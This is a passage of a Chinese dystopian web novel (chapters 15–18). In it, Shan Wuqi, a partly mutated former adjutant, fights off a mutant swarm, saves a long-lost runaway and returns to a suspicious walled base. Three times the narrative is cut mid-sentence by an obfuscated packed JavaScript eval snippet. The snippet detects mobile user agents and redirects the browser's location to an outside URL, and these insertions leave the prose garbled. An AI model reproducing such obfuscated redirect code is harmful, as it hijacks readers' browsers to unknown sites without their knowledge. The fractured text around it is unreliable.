看着扑来的异种,安多尼张开了双臂。 “主啊,保佑我。”他低沉地说,“愿我净化这条罪孽的灵魂。” 异种扑落下来,十数根粗壮的触手死死地缠抱住安多尼的身体。 触手开始收紧。 安多尼正在被它绞杀。 一切只发生在数个呼吸间。 尤娜几人 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安多尼收拢双臂,将攀附在身上的异种抱在怀里。 他反扣住异种,双手放在异种的头部。 他的手腕上,七十二颗念珠闪烁着迷人的微光。 看着安多尼的动作,单无绮脑中的弦一瞬间绷紧了。 “他要……干什么?”她喃喃道。 下一秒,安多尼用行动给出了答案。 他的两只手钳着异种,随后,双臂朝反方向一点点用力。 嘶拉。 嘶拉。 嘶拉。 令人牙酸的撕裂声,一下又一下地在这片空间响起。 那声音高亢而清脆,像是撕开细密的布料,亦或扯断柔韧的软骨。 异种蠕动的触手停滞了一瞬。 下一秒,它放弃了绞杀,触手在安多尼的钳制中疯狂挣扎,试图挣脱这只过于强大的猎物。 但安多尼没有松开手。 双方的立场在一瞬间对换,猎人变成了猎物,猎物变成了猎人。 “飒!!”异种发出凄惨无比的,痛苦的哀嚎。 异种几乎被安多尼撕开。 它的两半身体之间,只有细丝般的纤维艰难地连接着,十几根触手虚弱地垂落地面,触手尖端不受控制地,高频率地抽搐着。 它发出微弱的叫声,蕴着一丝求饶:“飒……” 安多尼的大半个身体已经露了出来。 他的防毒服没有一丝破损。 “安息吧。”安多尼的语气和他的动作截然相反,“下一世,不要当一个异种了。” 异种已经十分虚弱,但它仿佛听懂了安多尼的话,充当触手中枢的头部微微抬起,即将分成两半的身体上,三只昆虫似的复眼盯着安多尼。 某一个瞬间,单无绮从它的三只眼睛里,看到了智慧的闪光。 单无绮愣了一下。 她用力眨眼。 “飒!!!”异种突然尖利地大叫。 它剧烈地挣扎。 安多尼牢牢地钳制着它。 但它似乎并非要逃走。 它的身体加速软化,短短数秒内,它就从一团富有弹性的胶质体,变成了一滩清亮的粘液。 它溶解了。 15. 逃民 安多尼松开手,异种所化的脓液从他的指缝里淌下,淅淅沥沥,仿佛一场人工小雨。 “你没事吧?”尤娜担忧地问。 安多尼实在不像是没事的模样。 但他并不似受伤而吃痛,更像是精神受到冲击,一时间陷入了愣怔。 “我没事。”安多尼轻声道。 安多尼的防毒服安然无损,上面沾满异种溶解后的脓液。 他放下悬在空中的双手,将脸上的面罩摘下了。 安多尼的表情没有任何异样,仿佛早已习惯了污秽满身。 在所有人的注视下,安多尼蹲下身,拾起掉落在粘液中的那枚晶核。 “它是自杀的。”安多尼道,“大部分时候,异种的弱点是大脑,只要大脑完整,即使身体的伤势再严重,异种也可以复原,但……” 安多尼的话,让所有人沉默了一瞬。 单无绮想起波利·萨恩奇的笔记。 异种具有智慧,这一点已经毋庸置疑。 自杀是高智商动物的行为,猎杀安多尼的这只异种,也许是意识到它死期将至,也许是不甘心死在猎物手里,也许…… 总之,它自杀了。 但众人没有时间感慨。 待阮禾快速记录、采样后,众人循着装甲车的方向走去。 装甲车是撞上一处遗址才停下的。 旧人类的遗址散落在大地上,以新人类难以望其项背的高超工艺筑成,即使只余残垣,也依稀可见昔日辉煌壮丽的模样。 单无绮的耳尖动了动。 她听到了窸窣的声音,像某种小动物。 她举起枪。 “出来!”单无绮喝道。 窸窣的声音停止了。 一个灰头土脸的人从遗迹里钻出。 他衣衫褴褛,脸庞饿得蜡黄,披头散发,仿佛野人。 当他看到单无绮时,他窘迫又殷切地靠了过来。 他竟然跪了下来:“单副官!求您救救我!” 单无绮的脸微不可察地抖动了一下。 她没有想到,除了自己,基地外面竟然还有活着的流放者。 不等单无绮开口,野人迫不及待地说明了情况。 他是多年前的逃民。 具体多少年前,他已经说不清楚。 那时,单无绮还是风头无两的首长副官,她来到外城,代首长监督外城公民拓荒,以应对逐渐膨胀的人口和日渐紧缺的资源。 “……那个时候,条子查得不严,城门随进随出,我受不了单副官的鞭子,头脑一热,跟着同伴逃了出来。”野人说,“我打听过了,异种只有污染区深处才有,而且那时我们人多,就算遇到三两只异种,也可以杀了它们。” 尤娜迟疑地盯着野人。 她性子爽利,但她的利刃只对准敌人和蠹虫。 “我现在知错了!”野人又跪拜下来,涕泪横流,“求你们带我回去吧!原本我们还有几十个人,但如今,只剩我一个了。” “尤娜,我想问他几个问题。”单无绮轻声道。 尤娜点头。 野人诚惶诚恐地看着单无绮。 “你的名字?” “艾……艾森·朗道。” “离开基地前,你的公民等级是?” “我是个德尔塔,D级的德尔塔。” “你是外城人还是内城人?”单无绮盯着艾森的眼睛。 艾森不敢与单无绮对视:“我……是外城人。” “你的公民等级,在外城是最高的。”单无绮的表情丝毫不变,“你之前说,你跟着同伴逃了出来,对吗?” “是、是的。” “那么,你是被迫的,还是自愿的?”单无绮低声问。 艾森的呼吸停滞了一下。 他正要张嘴,单无绮打断道:“你最好诚实地回答我——这决定我是否愿意带你回去。” 艾森合上嘴。 他低下头,眼珠滚动,似是在犹豫。 尤娜走到单无绮身边。 她第一次见到单无绮如此严厉,完全不像平时言笑晏晏的模样。 尤娜轻声问道:“你……担心他是异种吗?” “不。”单无绮摇头。 她指了指自己颈上的拘束器:“我是最没资格说这话的人,我的顾虑不是这个。” “那你……” “我担心的,是他的未来。”单无绮看向艾森。 艾森的头发脏得打绺,他深深地埋着头,不敢抬起眼睛。 单无绮只能看到艾森的头顶:“我大概知道自己的名声,尽管你们都说子虚乌有,但一切不至于空穴来风。” “他是在拓荒年逃走的,逃走的人,也不止他一个。”单无绮轻声叹息,“我何德何能,一条鞭子打跑几十个人?” 尤娜明白了单无绮的意思。 她低声道:“你怀疑基地……?” “如果基地真要管控人口,四部不会任由他们离开。”单无绮抬头望天。 她忘记了许多事,但她的直觉和逻辑还在。 人口也是一种资源,它在某些时期是红利,在某些时期是黑利。 基地只有那么大,想养活所有人,无疑是痴人说梦。 “当人走在一条不如意的道路上,总会美化另一条未选择的路。”单无绮叹息,“就算他能回到命运的岔路口,但有些东西,已经永远地改变了。” 艾森突然道:“单副官。” 他鼓足了勇气,却还是不敢看单无绮的眼睛:“基地……现在是什么样子?” 单无绮笑了一声。 “基地如今实行的律法,比你离开时更加严苛。”她道。 艾森茫然地看着单无绮。 “禁止个人拥有武器;禁止传播异端思想;禁止组织集会;禁止拥有私人财产;禁止个人自由迁徙;禁止批评政府;禁止任何形式的艺术创作或文化表达;禁止个人选择职业或教育路径;禁止个人信仰或实践任何宗教。” 单无绮说着,弹了弹颈上的拘束器:“这东西,你认识吗?” 艾森摇头。 “这是拘束器,又叫狗牌。”单无绮发出一个短促的气音,像是在发笑,又像是在嘲弄,“我之所以问你这个,是因为我和你差不了多少,甚至比你更加不堪。” “三年前,我被基地流放了。”单无绮的蓝瞳倒映出艾森惊诧的脸。 艾森愕然地问:“怎么会?” “我比你幸运,我不仅活着回来了,甚至还有一点价值,因此留下了一条命。”单无绮的语气很真诚。 她认真地说:“不管你有没有说谎,既然你是人类,我就有义务带你回基地。” “但是,现在的基地不比从前——等待你的,也许不是热水和食物,而是审问和拷打。” 单无绮看着艾森。 他的脸又黑又脏,看不清五官。 “数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14447722|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年前,你能轻松地逃走,可这一次,不会像从前那样了。”单无绮道,“你好好地想一想,到底要不要放弃自由,重新回到城墙里。” 单无绮把丑话说在了前面。 艾森思考了很久。 良久,他认真地道:“我想回去。” “为什么?”单无绮问。 “自由,是有代价的。”艾森苦涩地回答。 他低下头,看着自己皲裂的掌纹:“我是一个德尔塔,在所有逃出来的人里,我是公民等级最高的一个。” “我读完了中学,我不仅识字,还明白许多道理——啊,当然,在当时的我看来,这已经很了不起了。” “我甚至幻想过,我会用我的见识,带领同伴建立人类第二基地。” “但现实冰冷得像一把刀子。” “走出城墙的第一个夜晚,我们就死了六个人。” “离开防护罩后,到处都是污染,我以为只要不深入污染区,就不至于致命。” “但我们找不到洁净的水源。” “我们喝了不干净的水。一个女孩第一个死了,她跟我们离开,没有什么站得住脚的理由,我……诱骗了她。” “然后是黑夜。” “我从未想过夜晚会如此恐怖,恐怖到即使没有野兽或异种的袭击,我们也会颤栗如惊鸟。” “诸如此类,还有许多。” “离开时,我们有六十三个人,但现在,只剩我一个了。” “如果不跟着您离开,我会悄无声息地死在这里,就像从来没有存在过。”为首的野人带着同伴,再次深深地跪拜下来,“求您带我回去,我在荒野流浪了太久,我想回基地,即使以罪犯的身份。” 远处传来“飒飒”的叫声。 异种们追来了。 艾森看着单无绮,目光逐渐从渴望变得绝望。 时间一点一滴过去,他的眼神一点点黯淡下来。 他深深地垂下头。 “你上车吧。”单无绮道。 艾森猛地抬起头。 他的眼睛里闪烁着劫后余生的喜悦。 无需单无绮催促,他以前所未有的敏捷身手,连滚带爬地钻进了车里。 尤娜拉扯单无绮的衣袖:“异种快追来了,你也上……” 尤娜的话戛然而止。 她漆黑的双眼缓缓睁大。 单无绮的衣袖,领口和下摆,正在源源不断地钻出触手。 拘束器肉眼可见地发烫,从黑色变成了烙铁般的深红色。 但单无绮没有痛觉似的,蓝眼睛狠厉地盯着远处蠕动的异种们。 “……单副官。”尤娜轻声道。 “你们也上车。”单无绮温柔地说。 她的躯干已经彻底异化,连头发都变成了飞舞的群蛇。 人类的衣服勉强裹住了这副扭曲的身躯,除去那张鲜妍的脸,她已经完全是一个异种了。 艾森的脸贴在车窗上。 他的两个眼珠都快瞪出来了。 “飒!飒!”异种们愈发狂热起来。 “我不会让它们继续追赶下去,即使是野兽,也知道躲开惹不起的强敌。”单无绮向异种们走去。 她的双腿已经变为丛生的触手,在地上行走时,留下一连串腐蚀的痕迹。 “飒!”异种们疯狂地尖叫。 它们伸出无数根垂涎的触手,朝面前自投罗网的猎物,铺天盖地般扑袭了过来。 16. 暴走 面对异种铺天盖地的袭击,单无绮的心中没有一丝恐惧。 她只觉得愤怒。 当她在荒野中醒来,她满怀欣喜,像一只归林的乳燕返回基地。 但迎接她的,是一枚警惕的麻醉弹。 “没关系,我理解的。”那时的她想道,“在他们眼里,我是一个异种。” 和首长达成交易时,她以为脖子上的狗牌已是最大的屈辱。 但离开禁闭室后,她来到了一个更加压抑的世界。 她看到公民被分为六等,如圈养的家畜一般,在墙内的弹丸之地上挣扎求活。 她看到基地分为内外两城,每个人的生活乃至人生,从呱呱落地时就已经注定。 为了生存,人类筑起高墙,整个种族龟缩其中。 但即便如此,人类的命运并未好转。 相反,人类正在走向灭亡。 单无绮从前是首长副官,风头无两,前途大好。 她至今不知道自己被流放,是因为一个伟大而隐秘的计划,还是一场残酷而庸俗的阴谋。 她裹挟在一个又一个谜团里,空有力量,却任人摆布。 “让人类龟缩在墙内的,是什么?”她愤怒地想,“是污染吗?是异种吗?是其他的危险吗?” 原因似乎都有。 但单无绮已经难以忍受了。 她第一次如此渴盼力量,渴盼她成为封喉的利刃,割开所有异种的头颅。 她沉浸在无尽的愤怒中,但她的面容,平静得宛如无风的池水。 簌簌簌。 无数鳞片从单无绮体内钻出。 异种们的触手已经近在咫尺。 单无绮抬起双手,十指长满了锋利的鳞片。 她怒喝一声,朝着面前纠缠的触手,用力挥砍过去! 时间在那一刻停止了。 尤娜举着枪,打算火力支援。 她的手指已经按在扳机上。 但眼前的一幕,让她失去了所有言语。 漫天的触手编织成罗网,占据了大半个视野,单无绮站在罗网下,仿佛蚍蜉之于大树,仿佛粟米之于沧海。 但单无绮动了。 她绷紧身体,如同满弦的弓箭。 在异种们倾轧而下时,她蓄势而发,朝异种们冲了过去。 尤娜看到了满眼的刀光。 单无绮并未携带刀剑或匕首,尤娜无从知晓,那雪一样刺目的刀光从何而来。 刀光消失了。 单无绮腾空、落地。 她高度异化的身体上,蓝色鳞片反射着刺目的光。 异种们停滞了一瞬。 密不透风的罗网破开了一个大洞。 下一秒,数不清的异种惨叫着逃散。 它们的身体上,同时出现了一道致命的伤口。 那刀枪不入的,唯有子弹才能破开的柔韧表皮,被单无绮毫不留情地撕裂,甚至有一些异种,被单无绮割开了头颅,脆弱的大脑当即暴露在空气中。 单无绮回眸。 那双湛蓝的眼眸变得格外妖异。 尤娜在单无绮的眼眸中,看到了熊熊燃烧的火焰。 ——那是反攻的信号。 如此想道,尤娜深吸一口气。 她瞄准地上挣扎着复原的异种,对准它们暴露的弱点,坚定地扣下了扳机。 单无绮和尤娜完成了第一轮收割。 剩余的异种们没有萌生出退意。 它们彻底丧失了理智,发出极具攻击性的咆哮。 它们头上的三只复眼变得猩红。 刷刷刷! 几十根触手带着劲风袭来。 异种的攻击毫无章法,也没有协作可言。 单无绮湛蓝的双瞳浮上血色。 她再次加强了异化! 她雪白的脸上覆满幽蓝的鳞片,蓝瞳掺着猩红,一头长发如同狰狞的群蛇。 她的眼神充斥着嗜血的兽性。 颈上的拘束器不堪重负。 它滚烫得如同一块烧红的烙铁,从黯淡的黑色,变成了艳丽的金红色。 单无绮挥动长满鳞片的利爪,再一次瓦解了异种们的攻击。 嗡! 一声巨大的嗡鸣从拘束器中发出。 “单无绮!”尤娜出声提醒,“你的异化程度太高了!” 单无绮没有反应。 她的蓝瞳彻底变成了红色。 经过两轮反攻,庞大的异种群已经支离破碎。 杀戮的本能侵蚀了单无绮的理智。 她对尤娜的提醒充耳不闻,迈动化为触手的双腿,朝飒飒嚎叫的异种们走去。 浓烈的杀意从单无绮的身上散发出来。 异种们终于萌生出退意。 它们节节后退,单无绮步步紧逼。 “麻醉弹呢?”尤娜朝车内咆哮,“该死,她暴走了!” “单、单副官怎么变成这样了?”野人艾森瑟瑟发抖,“她……她不是人类吗?” 尤娜恶狠狠地瞪了艾森一眼。 阮禾递来弹匣。 尤娜三两下更换子弹,瞄准单无绮。 艾森咽了咽唾沫:“她怎么不开枪啊?” “她在等一个时机。”庄修文轻声道。 “如果早一秒击倒单无绮,失去威胁的异种会卷土重来;如果晚一秒击倒单无绮,单无绮会彻底变成异种。”在艾森胆怯而好奇的目光中,庄修文解释道,“我们之中,只有尤娜有把握看清那条分界线。” 单无绮兴奋地盯着面前的异种。 她的耳边萦绕着冥灵的絮语,她的意识正在被一点点吞噬。 但她无法自拔。 这太痛快了! 强大的力量掌握在她的手中,无人能阻拦她,无人能约束她,她仿佛成为这片天地的主人,一切都将按照她的意愿运转。 她已经记不清自己杀了多少只异种,她的身后和脚下全是异种的尸体。 猎人和猎物对调,她成了追逐野兔的狮子。 异种们尖叫着逃跑。 又一次杀死身边的异种后,单无绮大睁着赤瞳,打算继续乘胜追击。 砰! 一道枪声响起。 那枪声多么耳熟啊。 单无绮不由得想起了回到基地的那一天。 那天也是这样,她满怀回家的喜悦,朝高墙上的人兴奋地挥舞手臂。 她得到了一枚麻醉弹。 酥麻的异样感从后背蔓延。 单无绮怀念地回忆着,身体渐渐失去了知觉。 她倒在地上。 恍惚中,她听到了脚步声。 “……她受伤了。” “快!给她包扎!” “你们看!拘束器!” 耳边嗡嗡作响,单无绮头晕欲呕。 她觉得颈上仿佛戴着一块滚烫的烙铁。 但突然间,单无绮脖子上的重量变轻了。 身边嘈杂的声音一瞬间消失了。 颈上的重量消失后,单无绮只觉得前所未有的轻松。 她睁开一只眼:“你们……” 她看到了众人警惕的眼神。 她坐起身。 众人齐齐后退,又不约而同地举起枪。 单无绮愣了一下。 她下意识抚摸脖颈。 空的。 单无绮猛地低下头。 地上,黑色的拘束器仍有余温。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14457544|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 它碎成了许多块。 单无绮一点也高兴不起来。 失去狗牌,她将无法在人类世界继续生存。 她是一个异种,尽管保留了人类的意识,但又有谁会在乎呢? 单无绮看着自己膝上的双手。 她的双手还没有彻底恢复,几根细小的触手像畸生的肉芽,幽蓝的鳞片覆盖其上,和人类毫不沾边。 我终于要死了吗? 单无绮想道。 单无绮垂着头,神色黯淡。 一个人轻轻走到单无绮身边。 她握住单无绮异化的手:“对不起,我们不该怀疑你。” 单无绮抬起头。 是阮禾。 调查司中,阮禾的存在感一直都很低。 尽管安多尼和阮禾的性格都很温和,但比起强壮的安多尼,个头小小的阮禾仿佛一棵柔软的青草,在争奇斗艳的花圃中,寻常人很难发现她的存在。 即使壁外调查中,阮禾也没有展示任何攻击性。 她在团队中充当记录员的角色,小小的记录本上,写满了沿途收获的信息和情报。 “阮禾,你小心……”庄修文出声提醒。 “她不是异种,她是人类。”阮禾的语气依然温柔,却无比坚定,“我明白,我是调查司资历最浅的一个,我无法准确地辨别人类和异种。” “但我的感觉告诉我,她是单无绮,一个人类。”阮禾握紧了单无绮的手,“试想一下,当我从暴走中清醒,却发现舍命保护的同伴,把枪口齐齐对准了自己,我的心中,会是什么滋味呢?” 单无绮低声道:“我理解你们。” “你理解是一回事,我们这样做,又是另一回事!” 阮禾怜惜地看着单无绮:“你应该很难受吧?” 单无绮沉默。 “你一共才回来了六天,这六天里,有三天在友爱部受刑,剩下的三天,你毫无预备地来到调查司,在完全陌生的环境里,和素不相识的我们努力共处。” 阮禾轻声道:“你还去了一趟外城。我听说……你从前的伙伴变成了异种,你亲手杀了他。” “如果是我,我一定会感到不堪重负。”阮禾的声音又柔又轻,“你做到现在这样,已经很棒了。” 尤娜第一个放下枪。 “……抱歉。”她开口。 随着尤娜的动作,其他人也纷纷放下枪。 他们将单无绮围起来,挨个向单无绮道歉。 单无绮突然不知所措。 她埋下头:“你们不用这样。” “对不起。”安多尼沉声道,“作为赎罪,我会为你祈祷。” 单无绮:“!!!” 她盯着安多尼手腕上的念珠,一瞬间汗毛倒竖。 “开个玩笑。”安多尼道。 单无绮:“……” 艾森最后一个凑过来。 “单副官,我也要向你道歉。”这个野人擦了擦脸,勉强有了人样,“我不该怀疑你是异种。” “我的确是异种。”单无绮答。 艾森的表情愣怔了一下。 “谢谢你的安慰,阮禾。”单无绮的手已经恢复正常。 她捏了捏阮禾的手:“但下一次,我仍然希望,你们将枪口第一时间对准我。” 众人沉默。 尤娜点头:“我明白了。” “我们不会放松警惕,即使同伴变成异种,我们也必须毫不犹豫地击毙。”尤娜弹了弹颈上的拘束器,“那么单副官,你要继续戴上狗牌吗?” 狗牌是拘束器的戏称。 尤娜盯着单无绮,直白得近乎挑衅。 单无绮笑了。 “当然。”她答道。 17. 筑墙者 再次上车时,天色已晚,夕阳渐斜。 调查司出外勤时,都会带上备用的拘束器。 单无绮重新戴上,体内涌动的力量一点点平息了下去。 “我还在野外游荡时,只遇上小猫两三只,可从没见过数量这么庞大的异种。”单无绮感慨道。 “我也是第一次遇到。”庄修文接话。 庄修文一边开车一边说:“自从筑墙者修起城墙后,除非深入污染区,才会有异种成群游荡。” “筑墙者?” “那是我们对初代首长的敬称。”庄修文道。 庄修文仿佛一个行走的智库,任何相关的数据或典故,他都能旁征博引。 “大灾变后,残存的人类如同一盘散沙,他们三五成群、彼此猜忌,流血与死亡时常发生,所有人都认为,人类会灭绝在这场无休止的内乱中。” “但这时候,筑墙者出现了。” “他以不可思议的手腕统一了人类。他的力量与速度凌驾所有人类之上,正值壮年的他,可以徒手搬起数吨重的东西。” 庄修文手握方向盘,“一份三百年前的私人采访写道:他能看穿所有人的心灵,将一切人类种族的灾祸扼杀在摇篮中。没人知道他从何处来,连孤儿都记得自己的故乡,他却遗失了所有从前的记忆,他只活在当下。” 单无绮摸着下巴。 她喃喃道:“听起来……真的很像一个异种啊。” “你不是第一个这么想的人。”维果在单无绮的脑海里说。 单无绮被维果吓了一跳。 她看向维沙尔。 小家伙的脸色有点苍白,手轻轻地攥着阮禾的衣角。 但很显然,他作为“维沙尔”的意识是清醒的。 单无绮觉得,自己需要逐渐习惯维果的出现方式。 她在脑海中问:“第一个这么想的人是谁?” “和他同时代的大部分人类,都是这么想的。” 维果的答案在意料之外,情理之中,“换位思考一下,一个不知来历的神秘青年,拥有怪物般的力量、智识和远见,如果将个人乃至种族的命运,交付到这样一个家伙手里,有多少人会终日悬心?” “太强大或太弱小都不是好事。”单无绮点评道,“人是集体性的动物,鹤立鸡群的人,即使不是生理的异种,也会成为社会的异种。” “但可笑的是,当他死后,人们又开始怀念他。”维果的语气十分唏嘘。 他仿佛亲眼看到那一幕似的,发出亲历者般深沉的感慨:“所有的档案和资料,都抹去了他的死因,因为他死得一点也不光彩。” “他是被妻子毒杀的!”维果突然尖笑起来。 维果的声线仍是清脆的童声,但这一刻,他的声音尖利而刺耳。 “那年,城墙筑起,核心修复,防护罩将仅存的人类庇护,人类拥有了自己的伊甸园。”维果讥诮地讲述,“所有人载歌载舞,在广场点燃巨大的篝火,无数仰慕他的人向他敬献美酒,他喝了许多杯,竟然喝得烂醉,走路都不成直线,金发下的脸蛋儿红通通,两枚太阳一般。” “他醉了,坐卧在地。” “这时,有人提议将公民分为六等。” “他的双眼含着醉意,但他的大脑依然清醒。” “他严厉地拒绝了对方,没有看到对方毒蛇一般的眼神。” “篝火仍未熄灭时,他回到家。他允诺将和家人度过美满的一夜。但当他饮下妻子献上的美酒时,却没有察觉到,那是一杯毒酒。” “第二天,人们在熄灭的篝火里发现了他的遗骸。” “他连一具完整的尸体都没有留下!温热的余烬里,只有一捧烧得又脆又黑的骨头。” 单无绮垂下睫毛。 这真是一个悲哀又现实的故事。 夜色逐渐笼罩大地。 地平线的尽头,巍峨的城墙隐约可见。 单无绮看到,一盏又一盏明灯在墙头点亮,犹如指路的明星。 “回家了。”单无绮舒了口气。 “家!”艾森热泪盈眶。 上车后,他一直蜷缩在角落。 但现在,他再也按捺不住激动。 艾森扑向前方,隔着装甲车厚实的挡风玻璃,一眨不眨地盯着城墙。 “我们……回家了!”艾森颤抖地说,带着哭腔,“巴顿,达米安,艾米特,琴,葛文……” 他念出一大串名字,还没说完,就抹起了眼泪。 阮禾贴心地递上手帕。 艾森感激地笑了笑。 他擦拭眼泪,把手帕擦得黑乎乎,又低下头,以祈祷般的虔诚,念完了剩余的名字。 他记得每一个同伴的名字,仿佛一座活着的墓碑。 装甲车在城墙外停下。 墙内,两个党员小跑出来。 “日安,友爱部特情司。”其中一个党员道。 “日安,团结部调查司。”作为领队,尤娜出面回应。 “抱歉,基地里出现了重大事故,每一位公民都要接受检查,请你们配合。”说话的党员佩着铜制盾徽。 他伸出手,示意众人看向另一个党员:“这位同志来自共荣部,她负责采集血样。” 共荣部党员是个女性,胸口佩着铜制太阳徽。 她皮肤白皙,漂亮的黑发垂落锁骨,脸上没有笑容,显得生人勿近。 “日安,我是蓝心。”这位党员毫不拖泥带水。 说话间,蓝心已经清点完人数,又从随身皮箱中,取出了对应数量的采血设备。 蓝心抓住最近的尤娜:“你先来。” 蓝心浑身散发着高级精英的气质。 尤娜抬起手臂,蓝心给尤娜采血。 整个过程行云流水,不超过半分钟。 按照同样的效率,蓝心一个接一个给众人采血。 走到艾森跟前时,蓝心微微皱眉。 她开口:“你……” “我之前可是很英俊的!”艾森忙不迭开口,“女士,不,党员同志,你可千万别觉得我邋遢,我在野外流浪了好几年呢!” “把你胳膊上的泥搓搓。”蓝心冷静地回答,“太厚了,不好扎针。” 艾森:“……” 艾森尴尬地揉搓扎针的那一小片皮肤。 阮禾差点没憋住笑,抖着肩膀捂着嘴,用水壶给他淋水。 蓝心快速采血。 艾森出神地看着蓝心,脏兮兮的脸看不出表情。 “血液检测报告最快两个小时出来,检测期间,麻烦你们待在墙外。”蓝心道。 尤娜皱眉:“基地里发生了什么?” “你不是核心党员,无权知晓。” 尤娜:“……” 尤娜:“我的贡献值已经够了,回去我就提交申请!” “我应该有权知晓吧。”单无绮从尤娜身后出现。 她安抚地拍了拍尤娜的肩膀,又看向蓝心:“没记错的话,我是一个核心党员。” 蓝心微微眯眼。 “日安,单专员。”蓝心的声音十分冷冽,一如她的性格,“您的确是核心党员,但很抱歉,您也无权知晓。” 单无绮:“……” 尤娜:“噗。” 蓝心步履匆匆地离开。 特情司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14464626|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 党员给他们送来热水。 单无绮接过热水,和这位特情员小哥说了声谢谢。 也许是单无绮的错觉,她总觉得,这个年轻的小伙子在悄悄打量她。 “我们离开了也就一天而已。”阮禾捧着水壶,纤细的手指十分好看。 “一天时间,足够发生很多事了。”尤娜道。 单无绮没有加入女孩子们的谈话。 她凝望基地上方的防护罩。 有一个问题一直萦绕在单无绮的心头。 ——如果防护罩能隔绝异种,那么,拥有异种身躯的她,为什么没有被驱逐呢? 单无绮站在原地,仰头发了一会儿呆。 身后突然传来一连串极力克制的咳嗽声。 单无绮扭过头。 她和站在身后的萨摩对视了。 单无绮:“……” 萨摩:“……” 呛水猛咳的特情司党员:“咳咳咳咳咳!” “你怎么来了?”萨摩没有一点动静,单无绮差点吓了一跳。 萨摩道:“我听说你回来了。” “所以呢?” “……” 再次呛水的特情司党员:“咳咳咳咳咳!” “你来做什么?”单无绮问道,“你是来慰问我们的吗?” 萨摩听到“慰问”一词,眉心微微一皱。 他招呼还在咳嗽的特情员小哥:“慰问品,准备了吗?” 特情员胸口佩着铜制盾徽,手里拎着两个热水壶。 听到长官问话,特情员“啊”了一声。 他举起水壶:“有热水。” 萨摩偏头看向单无绮。 “热水,行吗?”萨摩问。 单无绮:“……” 单无绮:“彳亍。” 于是单无绮又得到了一杯热水。 这个特情员和萨摩如出一脉,有种一丝不苟的严肃。 单无绮和萨摩站在一起。 单无绮捧着冒热气的水杯,小口小口地啜饮。 萨摩的目光停留在单无绮的颈部。 “你受伤了。”萨摩道。 “嗯。”单无绮简单应了一声。 又是一阵无言的沉默。 “为什么?”萨摩问。 “怎么突然问这个?”单无绮挑起一边眉毛。 萨摩抬起手。 他的手戴着白手套,伸到一半,又缩了回来。 萨摩虚虚比划单无绮的颈部:“灼伤的痕迹。” 单无绮抚摸拘束器。 她的语气很轻松:“回程的路上,我们遇到了一群异种。” 萨摩再次沉默。 他的眼珠微微滚动,小心地观察单无绮的表情。 单无绮被逗乐了。 她笑问:“你担心我?” 萨摩垂低睫毛。 “有资格担心你的,只有梅。”萨摩拉低帽檐,“他是你的亲哥哥,你和他之间的关系,远比你我深厚。” “所以我们是什么关系?” “……” “你不想说,那就不说吧。”单无绮无所谓地摆摆手,“但是,看在咱俩以前关系不错的份上,你能给我透个口风吗?” “你说。”萨摩道。 特情司党员:“咳咳咳咳咳!” “基地里发生了什么?”单无绮问道。 “外城发生了异种侵袭事件,近百人在广场非法聚集,并在同一时刻异化了。”萨摩的语气低沉了一瞬,“异化的公民中,甚至有数名党员——他们自称‘筑墙者’的信徒,而他们临死前的口供,齐齐将矛头指向了你。” 18. 信与泪水 单无绮变了表情。 但她很快镇静下来。 “你是基地的拷问官,特情司司长,口风不该这么松。”单无绮紧紧盯着萨摩,后者碧绿的眼睛毫无波澜,仿佛无风的湖泊,“是有人特意要向我传话吗?” 萨摩微不可察地点头。 “是谁?”单无绮问。 “首长。”萨摩答。 是那个留着两撇漂亮胡子的老阴比! 单无绮一时间不知道该说什么。 她觉得自己又跳进了一个陷阱,而这一次,逃脱的代价也许不止再加一个狗牌那么简单。 “他还有别的话吗?”单无绮轻轻吸了口气。 萨摩定定地看了单无绮一阵。 他垂下眼睛,轻轻拿起单无绮的水杯,示意下属加点热水。 萨摩是特情司司长,基地所有特情员的上司,除了首长和四部部长,没有比他地位更高的人。 特情员小哥紧张地添满了热水。 萨摩端着水杯,低头吹了几下。 他把吹凉的水递给单无绮。 “给。” “多谢。”单无绮缓过神。 萨摩凝视单无绮。 她苍白而削瘦,脸蛋氤氲在蒸腾的水雾中。 萨摩的眼神放空了一瞬:“你很少露出这种表情。” “哪种表情?”单无绮问。 “我无法概括。”萨摩的声音变得很轻,“在你被流放前,我只见过一次。” “哪一次?”单无绮有点好奇。 她乐意听八卦,即使是自己的。 “拓荒年,七月,第一个丰收季。”萨摩答,“外城人搭起高台,你深夜巡逻时不小心看到了,你对我说,你要被绑上去挨鞭子了。” 萨摩顿了顿。 单无绮捧着水杯。 她对过去一无所知,只能从旁人的只言片语中,勾勒出从前的人与事。 “但第二天,当你被人们簇拥着推上去时,无数的麦穗抛向了你。”萨摩陷入回忆,“你的表情,一下子像黄油一样融化了。” 萨摩的话并不多。 